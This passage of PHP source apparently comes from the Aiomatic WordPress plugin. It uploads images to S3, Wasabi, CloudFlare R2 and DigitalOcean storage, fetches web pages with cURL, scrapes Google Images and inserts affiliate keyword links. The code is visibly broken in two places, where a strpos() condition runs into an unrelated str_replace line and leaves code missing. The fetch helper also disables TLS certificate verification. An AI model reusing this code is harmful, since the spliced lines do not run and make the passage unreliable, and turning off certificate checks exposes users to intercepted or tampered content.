                        aiomatic_log_to_file('Failed to initialize CloudFlare API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['cloud_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['cloud_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        if(substr( $image_url, 0, 10 ) === "data:image")
                        {
                            $data = explode(',', $image_url);
                            if(isset($data[1]))
                            {
                                $image_data = base64_decode($data[1]);
                                if($image_data === FALSE)
                                {
                                    aiomatic_log_to_file('Failed to decode image: ' . $image_url);
                                    return false;
                                }
                            }
                            else
                            {
                                aiomatic_log_to_file('Failed to parse image: ' . $image_url);
                                return false;
                            }
                        }
                        else
                        {
                            $image_data = aiomatic_get_web_page($image_url);
                            if ($image_data === FALSE || strpos($image_data, 'Access Denied') !== FALSE || strpos($image_data, 'Just a moment...') !== FALSE || strpos($image_data, '', '-', $filename);
                        $filename = str_replace('*', '-', $filename);
                        $filename = str_replace('/', '-', $filename);
                        $filename = str_replace('$', '-', $filename);
                        $filename = str_replace('\'', '-', $filename);
                        $filename = str_replace('"', '-', $filename);
                        $filename = str_replace(':', '-', $filename);
                        $filename = str_replace('@', '-', $filename);
                        $filename = str_replace('+', '-', $filename);
                        $filename = str_replace('|', '-', $filename);
                        $filename = str_replace('=', '-', $filename);
                        $filename = str_replace('`', '-', $filename);
                        $file_parts = pathinfo($filename);
                        if(!isset($file_parts['extension']))
                        {
                            $file_parts['extension'] = '';
                        }
                        switch($file_parts['extension'])
                        {
                            case "":
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                            case NULL:
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                        }
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['cloud_bucket']),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL']);
                        }
                        aiomatic_log_to_file("Failed to decode CloudFlare API response: " . print_r($awsret, true));
                        return false;
                    } 
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to CloudFlare: " . $e->getMessage());
                        return false;
                    }
                }
                elseif (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'digital')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_endpoint']) || trim($aiomatic_Main_Settings['digital_endpoint']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Digital Ocean digital_endpoint for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_user']) || trim($aiomatic_Main_Settings['digital_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Digital Ocean digital_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_pass']) || trim($aiomatic_Main_Settings['digital_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Digital Ocean digital_pass for this to work!');
                        return false;
                    }
                    $bucket_name = '';
                    preg_match_all('#https:\/\/([^.]*?)\.(?:[^.]*?)\.digitaloceanspaces\.com#i', trim($aiomatic_Main_Settings['digital_endpoint']), $zmatches);
                    if(isset($zmatches[1][0]))
                    {
                        $bucket_name = $zmatches[1][0];
                    }
                    else
                    {
                        aiomatic_log_to_file('Failed to parse Digital Ocean Spaces URL: ' . trim($aiomatic_Main_Settings['digital_endpoint']));
                        return false;
                    }
                    $endpoint_plain_url = preg_replace('#https?:\/\/([^.]*?\.)([^.]*?)\.digitaloceanspaces\.com#i', 'https://$2.digitaloceanspaces.com', trim($aiomatic_Main_Settings['digital_endpoint']));
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['digital_user']), 'secret' => trim($aiomatic_Main_Settings['digital_pass']));
                        $s3 = new S3Client([
                            'version' => 'latest',
                            'region'  => 'us-east-1',
                            'endpoint' => $endpoint_plain_url,
                            'use_path_style_endpoint' => false,
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Digital Ocean Spaces API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['digital_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['digital_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        if(substr( $image_url, 0, 10 ) === "data:image")
                        {
                            $data = explode(',', $image_url);
                            if(isset($data[1]))
                            {
                                $image_data = base64_decode($data[1]);
                                if($image_data === FALSE)
                                {
                                    aiomatic_log_to_file('Failed to decode image: ' . $image_url);
                                    return false;
                                }
                            }
                            else
                            {
                                aiomatic_log_to_file('Failed to parse image: ' . $image_url);
                                return false;
                            }
                        }
                        else
                        {
                            $image_data = aiomatic_get_web_page($image_url);
                            if ($image_data === FALSE || strpos($image_data, 'Access Denied') !== FALSE || strpos($image_data, 'Just a moment...') !== FALSE || strpos($image_data, '', '-', $filename);
                        $filename = str_replace('*', '-', $filename);
                        $filename = str_replace('/', '-', $filename);
                        $filename = str_replace('$', '-', $filename);
                        $filename = str_replace('\'', '-', $filename);
                        $filename = str_replace('"', '-', $filename);
                        $filename = str_replace(':', '-', $filename);
                        $filename = str_replace('@', '-', $filename);
                        $filename = str_replace('+', '-', $filename);
                        $filename = str_replace('|', '-', $filename);
                        $filename = str_replace('=', '-', $filename);
                        $filename = str_replace('`', '-', $filename);
                        $file_parts = pathinfo($filename);
                        if(!isset($file_parts['extension']))
                        {
                            $file_parts['extension'] = '';
                        }
                        switch($file_parts['extension'])
                        {
                            case "":
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                            case NULL:
                            if(!aiomatic_endsWith($filename, '.jpg'))
                                $filename .= '.jpg';
                            break;
                        }
                        $obj_arr = [
                            'Bucket' => trim($bucket_name),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL']);
                        }
                        aiomatic_log_to_file("Failed to decode Digital Ocean Spaces API response: " . print_r($awsret, true));
                        return false;
                    } 
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Digital Ocean Spaces: " . $e->getMessage());
                        return false;
                    }
                }
                else
                {
                    return false;
                }
            }
            
            function aiomatic_copy_file_locally($image_data, $filename, $copy_locally = '', $del_existing = false)
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if(!empty($copy_locally))
                {
                    $aiomatic_Main_Settings['copy_locally'] = $copy_locally;
                }
                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                {
                    aiomatic_log_to_file('Copying file (' . $aiomatic_Main_Settings['copy_locally'] . ')');
                }
                if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                {
                    $upload_dir = wp_upload_dir();
                    global $wp_filesystem;
                    if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                        include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                        wp_filesystem($creds);
                    }
                    $file_parts = pathinfo($filename);
                    if(!isset($file_parts['extension']))
                    {
                        $file_parts['extension'] = '';
                    }
                    if (wp_mkdir_p($upload_dir['path']))
                    {
                        $file = $upload_dir['path'] . '/' . $filename;
                        $ret_path = $upload_dir['url'] . '/' . $filename;
                    }
                    else
                    {
                        $file = $upload_dir['basedir'] . '/' . $filename;
                        $ret_path = $upload_dir['baseurl'] . '/' . $filename;
                    }
                    if($wp_filesystem->exists($file))
                    {
                        if($del_existing)
                        {
                            unlink($file);
                        }
                        else
                        {
                            $unid = uniqid();
                            if(!empty($file_parts['extension']))
                            {
                                $file .= $unid . '.' . $file_parts['extension'];
                                $ret_path .= $unid . '.' . $file_parts['extension'];
                            }
                            else
                            {
                                $file .= $unid;
                                $ret_path .= $unid;
                            }
                        }
                    }
                    
                    $ret = $wp_filesystem->put_contents($file, $image_data);
                    if ($ret === FALSE) {
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Failed to save file locally to: ' . $file);
                        }
                        return false;
                    }
                    $wp_filetype = wp_check_filetype( $filename, null );
                    $attachment = array(
                    'post_mime_type' => $wp_filetype['type'],
                    'post_title' => sanitize_file_name( $filename ),
                    'post_content' => '',
                    'post_status' => 'inherit'
                    );
                    $attach_id = wp_insert_attachment( $attachment, $file );
                    require_once(ABSPATH . 'wp-admin/includes/image.php');
                    require_once(ABSPATH . 'wp-admin/includes/media.php');
                    $attach_data = wp_generate_attachment_metadata( $attach_id, $file );
                    wp_update_attachment_metadata( $attach_id, $attach_data );
                    return array($ret_path, $file);
                }
                elseif (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'amazon')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['bucket_name']) || trim($aiomatic_Main_Settings['bucket_name']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 bucket_name for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['s3_user']) || trim($aiomatic_Main_Settings['s3_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 s3_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['s3_pass']) || trim($aiomatic_Main_Settings['s3_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 s3_pass for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['bucket_region']) || trim($aiomatic_Main_Settings['bucket_region']) == '')
                    {
                        $aiomatic_Main_Settings['bucket_region'] = 'eu-central-1';
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['s3_user']), 'secret' => trim($aiomatic_Main_Settings['s3_pass']));
                        $s3 = new S3Client([
                            'version' => 'latest',
                            'region'  => trim($aiomatic_Main_Settings['bucket_region']),
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['drive_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['drive_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $filesize = strlen($image_data);
                        $file_parts = pathinfo($filename);
                        if(!isset($file_parts['extension']))
                        {
                            $file_parts['extension'] = '';
                        }
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['bucket_name']),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL']);
                        }
                        aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                        return false;
                    } 
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file to Amazon S3: " . $e->getMessage());
                        return false;
                    }
                }
                elseif (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'wasabi')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_bucket']) || trim($aiomatic_Main_Settings['wasabi_bucket']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Wasabi wasabi_bucket for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_region']) || trim($aiomatic_Main_Settings['wasabi_region']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Wasabi wasabi_region for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_user']) || trim($aiomatic_Main_Settings['wasabi_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Wasabi wasabi_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_pass']) || trim($aiomatic_Main_Settings['wasabi_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Wasabi wasabi_pass for this to work!');
                        return false;
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['wasabi_user']), 'secret' => trim($aiomatic_Main_Settings['wasabi_pass']));
                        $s3 = new S3Client([
                            'endpoint' => "https://" . trim($aiomatic_Main_Settings['wasabi_bucket']) . ".s3." . trim($aiomatic_Main_Settings['wasabi_region']) . ".wasabisys.com/",
                            'bucket_endpoint' => true,
                            'version' => 'latest',
                            'region'  => trim($aiomatic_Main_Settings['wasabi_region']),
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Wasabi API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['wasabi_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['wasabi_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $filesize = strlen($image_data);
                        $file_parts = pathinfo($filename);
                        if(!isset($file_parts['extension']))
                        {
                            $file_parts['extension'] = '';
                        }
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['wasabi_bucket']),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL']);
                        }
                        aiomatic_log_to_file("Failed to decode Wasabi API response: " . print_r($awsret, true));
                        return false;
                    } 
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file to Wasabi: " . $e->getMessage());
                        return false;
                    }
                }
                elseif (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'cloudflare')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_bucket']) || trim($aiomatic_Main_Settings['cloud_bucket']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a CloudFlare R2 cloud_bucket for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_account']) || trim($aiomatic_Main_Settings['cloud_account']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a CloudFlare cloud_account for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_user']) || trim($aiomatic_Main_Settings['cloud_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a CloudFlare cloud_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_pass']) || trim($aiomatic_Main_Settings['cloud_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a CloudFlare cloud_pass for this to work!');
                        return false;
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['cloud_user']), 'secret' => trim($aiomatic_Main_Settings['cloud_pass']));
                        $s3 = new S3Client([
                            'endpoint' => "https://" . trim($aiomatic_Main_Settings['cloud_account']) . ".r2.cloudflarestorage.com",
                            'bucket_endpoint' => true,
                            'version' => 'latest',
                            'region' => 'us-east-1',
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize CloudFlare API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['cloud_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['cloud_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $filesize = strlen($image_data);
                        $file_parts = pathinfo($filename);
                        if(!isset($file_parts['extension']))
                        {
                            $file_parts['extension'] = '';
                        }
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['cloud_bucket']),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL']);
                        }
                        aiomatic_log_to_file("Failed to decode CloudFlare API response: " . print_r($awsret, true));
                        return false;
                    } 
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file to CloudFlare: " . $e->getMessage());
                        return false;
                    }
                }
                elseif (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'digital')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_endpoint']) || trim($aiomatic_Main_Settings['digital_endpoint']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Digital Ocean digital_endpoint for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_user']) || trim($aiomatic_Main_Settings['digital_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Digital Ocean digital_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_pass']) || trim($aiomatic_Main_Settings['digital_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Digital Ocean digital_pass for this to work!');
                        return false;
                    }
                    $bucket_name = '';
                    preg_match_all('#https:\/\/([^.]*?)\.(?:[^.]*?)\.digitaloceanspaces\.com#i', trim($aiomatic_Main_Settings['digital_endpoint']), $zmatches);
                    if(isset($zmatches[1][0]))
                    {
                        $bucket_name = $zmatches[1][0];
                    }
                    else
                    {
                        aiomatic_log_to_file('Failed to parse Digital Ocean Spaces URL: ' . trim($aiomatic_Main_Settings['digital_endpoint']));
                        return false;
                    }
                    $endpoint_plain_url = preg_replace('#https?:\/\/([^.]*?\.)([^.]*?)\.digitaloceanspaces\.com#i', 'https://$2.digitaloceanspaces.com', trim($aiomatic_Main_Settings['digital_endpoint']));
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['digital_user']), 'secret' => trim($aiomatic_Main_Settings['digital_pass']));
                        $s3 = new S3Client([
                            'version' => 'latest',
                            'region'  => 'us-east-1',
                            'endpoint' => $endpoint_plain_url,
                            'use_path_style_endpoint' => false,
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Digital Ocean Spaces API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['digital_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['digital_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $filesize = strlen($image_data);
                        $file_parts = pathinfo($filename);
                        if(!isset($file_parts['extension']))
                        {
                            $file_parts['extension'] = '';
                        }
                        $obj_arr = [
                            'Bucket' => trim($bucket_name),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $image_data,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL']);
                        }
                        aiomatic_log_to_file("Failed to decode Digital Ocean Spaces API response: " . print_r($awsret, true));
                        return false;
                    } 
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file to Digital Ocean Spaces: " . $e->getMessage());
                        return false;
                    }
                }
                else
                {
                    return false;
                }
            }
            
            function aiomatic_generate_random_token($len) {
                $characters = "abcdefghijklmnopqrstuvwxyz0123456789-";
                $word = "";
                for ($i = 0; $i < $len; $i++) {
                    $word .= $characters[rand(0, strlen($characters) - 1)];
                }
                return $word;
            }
            function aiomatic_file_get_contents_advanced($url, $headers = '', $referrer = 'self', $user_agent = false)
            {
                $content = false;
                if (function_exists('curl_init')) 
                {
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                    $max_redirects = 10;
                    $ch = curl_init();
                    if($ch !== false)
                    {
                        curl_setopt($ch, CURLOPT_URL, $url);
                        if (strtolower($referrer) == 'self') {
                            curl_setopt($ch, CURLOPT_REFERER, $url);
                        } elseif (strlen($referrer)) {
                            curl_setopt($ch, CURLOPT_REFERER, $referrer);
                        }
                        if ($user_agent) {
                            curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
                        } 
                        curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                        $headers = trim($headers);
                        if (strlen($headers)) {
                            $headers_array = explode(PHP_EOL, $headers);
                            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers_array);
                        }
                        if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                            $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                            $randomness = array_rand($prx);
                            curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
                            if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                            {
                                $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                {
                                    curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                }
                            }
                        }
                        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                        curl_setopt($ch, CURLOPT_MAXREDIRS, $max_redirects);
                        curl_setopt($ch, CURLOPT_HEADER, false);
                        $content = curl_exec($ch);
                        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                        if ($code != 200) {
                            $content = false;
                        }
                        curl_close($ch);
                    }
                }
                if (!isset($content) || $content === false) {
                    stream_context_set_default(array('ssl' => array('verify_peer' => false, 'verify_peer_name' => false), 'http' => array('method' => 'HEAD', 'timeout' => 10, 'user_agent' => $user_agent)));
                    $content = file_get_contents($url);
                }
                return $content;
            }
            function aiomatic_get_random_image_google($keyword, $min_width = 0, $min_height = 0, $chance = '', &$added_img_list = array(), &$full_result_list = array())
            {
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if(isset($aiomatic_Main_Settings['image_pool']) && $aiomatic_Main_Settings['image_pool'] != '')
                {
                    $max_res = intval($aiomatic_Main_Settings['image_pool']);
                }
                else
                {
                    $max_res = 4;
                }
                if($chance != '' && is_numeric($chance))
                {
                    $chance = intval($chance);
                    if(mt_rand(0, 99) >= $chance)
                    {
                        return '';
                    }
                }
                if(isset($aiomatic_Main_Settings['image_query_translate_en']) && $aiomatic_Main_Settings['image_query_translate_en'] == 'on')
                {
                    $text_trans = aiomatic_translate_stability($keyword);
                    if($text_trans != $keyword && !empty($text_trans))
                    {
                        aiomatic_log_to_file('Google Images query translated from: "' . $keyword . '" to: "' . $text_trans . '"');
                        $keyword = $text_trans;
                    }
                }
                $gimageurl = 'https://www.google.com/search?q=' . urlencode($keyword . ' -site:depositphotos.com -site:123rf.com') . '&tbm=isch&tbs=il:cl&sa=X';
                $res = aiomatic_file_get_contents_advanced($gimageurl, '', 'self', 'Mozilla/5.0 (Windows NT 10.0;WOW64;rv:97.0) Gecko/20000101 Firefox/97.0/3871tuT2p1u-81');
                preg_match_all('/\["([\w%-\.\/:\?&=]+\.jpg|\.jpeg|\.gif|\.png|\.bmp|\.wbmp|\.webm|\.xbm)",\d+,\d+\]/i', $res, $matches);
                $items = $matches[0];
                if (count($items)) 
                {
                    foreach($items as $it)
                    {
                        preg_match('#\["(.*?)",(.*?),(.*?)\]#', $it, $xmatches);
                        if (count($xmatches) == 4 && ($min_width > 0 || $min_width <= $xmatches[3]) && ($min_height > 0 || $min_height <= $xmatches[2])) 
                        {
                            $full_result_list[] = $xmatches[1];
                        }
                    }
                    $items = array_slice($items, 0, $max_res, true);
                    if(!isset($aiomatic_Main_Settings['random_results_order']) || $aiomatic_Main_Settings['random_results_order'] != 'on')
                    {
                        shuffle($items);
                    }
                    foreach ($items as $item) {
                        preg_match('#\["(.*?)",(.*?),(.*?)\]#', $item, $matches);
                        if (count($matches) == 4 && ($min_width > 0 || $min_width <= $matches[3]) && ($min_height > 0 || $min_height <= $matches[2])) 
                        {
                            if(!in_array($matches[1], $added_img_list))
                            {
                                $added_img_list[] = $matches[1];
                                return $matches[1];
                            }
                        }
                    }
                }
                return '';
            }
            $aiomatic_fatal = false;
            function aiomatic_clear_flag_at_shutdown($param, $type)
            {
                $error = error_get_last();
                if ($error !== null && ($error['type'] === E_ERROR || $error['type'] === E_PARSE || $error['type'] === E_CORE_ERROR || $error['type'] === E_COMPILE_ERROR || $error['type'] === E_USER_ERROR) && $GLOBALS['aiomatic_fatal'] === false) {
                    $GLOBALS['aiomatic_fatal'] = true;
                    $running = array();
                    update_option('aiomatic_running_list', $running);
                    aiomatic_log_to_file('[FATAL] Exit error: ' . $error['message'] . ', file: ' . $error['file'] . ', line: ' . $error['line'] . ' - rule ID: ' . $param . '!');
                    aiomatic_clearFromList($param, $type);
                }
                else
                {
                    aiomatic_clearFromList($param, $type);
                }
            }
            add_filter('the_title', 'aiomatic_add_affiliate_keyword_title');
            function aiomatic_add_affiliate_keyword_title($content)
            {
                global $post;
                $rules  = get_option('aiomatic_keyword_list');
                if(!is_array($rules))
                {
                   $rules = array();
                }
                if (!empty($rules)) {
                    $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                    if(isset($aiomatic_Main_Settings['kw_skip_ids']) && $aiomatic_Main_Settings['kw_skip_ids'] != '')
                    {
                        $skip_ids = explode(',', $aiomatic_Main_Settings['kw_skip_ids']);
                        $skip_ids = array_map('trim', $skip_ids);
                        if(isset($post->ID) && is_numeric($post->ID) && in_array($post->ID, $skip_ids))
                        {
                            return $content;
                        }
                    }
                    if(isset($aiomatic_Main_Settings['partial_kws']) && $aiomatic_Main_Settings['partial_kws'] == 'on')
                    {
                        $word_boundry = '';
                    }
                    else
                    {
                        $word_boundry = '\b';
                    }
                    if(isset($aiomatic_Main_Settings['kws_case']) && $aiomatic_Main_Settings['kws_case'] == 'on')
                    {
                        $add_case = '';
                    }
                    else
                    {
                        $add_case = 'i';
                    }
                    if(isset($aiomatic_Main_Settings['no_new_tab_kw']) && $aiomatic_Main_Settings['no_new_tab_kw'] == 'on')
                    {
                        $add_blank = '';
                    }
                    else
                    {
                        $add_blank = ' target="_blank"';
                    }
                    foreach ($rules as $request => $value) {
                        if(isset($value[2]) && $value[2] == 'content')
                        {
                            continue;
                        }
                        if (is_array($value) && isset($value[1]) && $value[1] != '') 
                        {
                            $repl = $value[1];
                        } else {
                            $repl = $request;
                        }
                        if (isset($value[3]) && $value[3] != '') 
                        {
                            $max = intval($value[3]);
                        }
                        else
                        {
                            $max = -1;
                        }
                        if (isset($value[0]) && !empty($value[0])) 
                        {
